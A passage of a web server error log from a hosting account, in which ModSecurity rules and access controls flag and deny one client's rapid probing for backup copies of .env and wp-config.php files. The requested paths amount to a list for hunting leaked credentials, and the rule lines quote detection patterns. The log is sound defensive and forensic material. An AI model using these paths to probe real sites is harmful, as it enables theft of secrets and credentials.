"PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.backup.old"] [unique_id "almgnS0HS8lGbZyK8qt3AAAAACM"]
[Fri Jul 17 08:55:17.143755 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.backup.old"] [unique_id "almgnS0HS8lGbZyK8qt3AAAAACM"]
[Fri Jul 17 08:55:17.144176 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.backup.old"] [unique_id "almgnS0HS8lGbZyK8qt3AAAAACM"]
[Fri Jul 17 08:55:17.144361 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.144612 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnS0HS8lGbZyK8qt3AAAAACM"]
[Fri Jul 17 08:55:17.153880 2026] [authz_core:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php~
[Fri Jul 17 08:55:17.154068 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.160935 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.168199 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.174846 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.181504 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.190641 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.194675 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production-backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.production-backup"] [unique_id "almgnS0HS8lGbZyK8qt3AQAAACM"]
[Fri Jul 17 08:55:17.194940 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.production.1"] [unique_id "almgnQ5GPQ6hs4VrfMpBYQAAAAY"]
[Fri Jul 17 08:55:17.194993 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.production-backup"] [unique_id "almgnS0HS8lGbZyK8qt3AQAAACM"]
[Fri Jul 17 08:55:17.195145 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.195281 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnS0HS8lGbZyK8qt3AQAAACM"]
[Fri Jul 17 08:55:17.195438 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.production.1"] [unique_id "almgnQ5GPQ6hs4VrfMpBYQAAAAY"]
[Fri Jul 17 08:55:17.195634 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.195851 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnQ5GPQ6hs4VrfMpBYQAAAAY"]
[Fri Jul 17 08:55:17.207594 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.215718 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.backup.bak"] [unique_id "almgnbEWOaI5pmYo9fnO2AAAAAA"]
[Fri Jul 17 08:55:17.215978 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.backup.bak"] [unique_id "almgnbEWOaI5pmYo9fnO2AAAAAA"]
[Fri Jul 17 08:55:17.216311 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.backup.bak"] [unique_id "almgnbEWOaI5pmYo9fnO2AAAAAA"]
[Fri Jul 17 08:55:17.216533 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.216817 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnbEWOaI5pmYo9fnO2AAAAAA"]
[Fri Jul 17 08:55:17.222144 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.234719 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup.orig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.backup.orig"] [unique_id "almgnYl9vhFBGA6D8l957QAAAAw"]
[Fri Jul 17 08:55:17.235174 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.backup.orig"] [unique_id "almgnYl9vhFBGA6D8l957QAAAAw"]
[Fri Jul 17 08:55:17.235396 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.235634 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnYl9vhFBGA6D8l957QAAAAw"]
[Fri Jul 17 08:55:17.241151 2026] [authz_core:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.old
[Fri Jul 17 08:55:17.241351 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.250221 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".backup~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.backup~"] [unique_id "almgnSRF0UOO1RzB5_8t_wAAAA4"]
[Fri Jul 17 08:55:17.250419 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.250650 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.backup~"] [unique_id "almgnSRF0UOO1RzB5_8t_wAAAA4"]
[Fri Jul 17 08:55:17.251127 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.backup~"] [unique_id "almgnSRF0UOO1RzB5_8t_wAAAA4"]
[Fri Jul 17 08:55:17.251328 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.251549 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnSRF0UOO1RzB5_8t_wAAAA4"]
[Fri Jul 17 08:55:17.263250 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.270765 2026] [authz_core:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.save
[Fri Jul 17 08:55:17.270987 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.271480 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.production.copy"] [unique_id "almgnY1dLClkUfK_dfHkuQAAAAI"]
[Fri Jul 17 08:55:17.271782 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.production.copy"] [unique_id "almgnY1dLClkUfK_dfHkuQAAAAI"]
[Fri Jul 17 08:55:17.271918 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.272079 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnY1dLClkUfK_dfHkuQAAAAI"]
[Fri Jul 17 08:55:17.273740 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.273910 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.276488 2026] [authz_core:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.txt
[Fri Jul 17 08:55:17.276781 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
